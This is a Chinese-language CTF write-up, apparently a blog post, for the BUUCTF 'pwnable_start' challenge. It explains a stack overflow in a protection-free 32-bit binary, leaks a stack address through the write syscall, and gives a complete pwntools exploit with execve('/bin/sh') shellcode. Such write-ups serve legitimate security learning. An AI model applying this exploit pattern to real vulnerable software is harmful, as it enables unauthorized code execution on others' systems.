BUUCTF--pwnable_start1

23 篇文章 1 订阅

查看保护:


32位程序保护全没开,黑盒测试下效果:


存在栈溢出,那么这题的想法就是直接ret2shellcode了。IDA中看看具体流程:


出奇的少,这题不能看反汇编的代码,直接去看汇编:


主要就2个功能,通过系统调用来执行读写功能,将字符串Let's start the CTF:输出,然后接收用户输入。我们看到注释下标注了长度为0x14。也就是我们能刚好覆盖到返回地址,但是我的shellcode有0x18个字节。根本不够执行完全部,而且目前没有有用的信息来让我ret2stack。因此我们要去调试看看能不能利用什么信息:


我们观察在代码的最开始,会将一个esp压入栈中,紧接着栈的布局将变成如此:


5个a是我输入的测试数据。ecx将和esp将指向用户输入数据的起始位置。此时esp要索引到返回地址,将直接执行add esp,14h。执行完后esp将指向旧的esp:


而且我们惊奇的发现,这两个值相差0x4,因此我们需要通过write函数将他泄露出来,紧着这我们的返回地址就有了,步骤shellocode就是要返回到布局的栈地址处执行。原理我讲明白了,直接上exp:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
 
io = process('./start')
#io = remote('node5.buuoj.cn',28971)
gdb.attach(io)
io.recv()
mov_ecx_esp = 0x8048087
payload1 = b'a'*0x14 + p32(mov_ecx_esp)
io.send(payload1)

leak_stack_addr = u32(io.recv(4))
cur_esp = leak_stack_addr+0x14
print(hex(leak_stack_addr))
payload2 = b'a'*0x14 + p32(cur_esp)
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80                
'''

shellcode=asm(shellcode)

print(len(shellcode))
payload2 += shellcode
io.send(payload2)
pause()
#gdb.attach(io)
io.interactive()

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值